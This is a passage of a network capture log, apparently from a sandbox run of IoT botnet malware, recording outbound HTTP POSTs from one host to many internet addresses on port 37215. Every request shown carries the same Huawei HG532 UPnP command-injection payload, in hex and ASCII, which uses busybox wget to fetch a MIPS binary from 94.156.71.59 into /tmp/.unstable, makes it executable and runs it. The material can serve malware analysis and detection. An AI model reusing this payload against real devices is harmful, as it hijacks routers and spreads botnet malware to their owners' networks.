6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	60038	41.46.72.248	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.729371071 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	34008	156.36.1.67	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.730340004 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	54960	156.86.244.31	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.731555939 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	45998	197.6.6.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.732625008 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	33040	197.67.106.155	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.733766079 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	57338	156.126.41.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.734955072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	47608	156.1.86.198	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.735960007 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	44866	156.111.149.77	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.738142014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	58650	156.58.2.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.739622116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	59230	41.111.68.220	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.740863085 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	53950	41.157.185.2	37215

Timestamp	Bytes transferred	Direction	Data
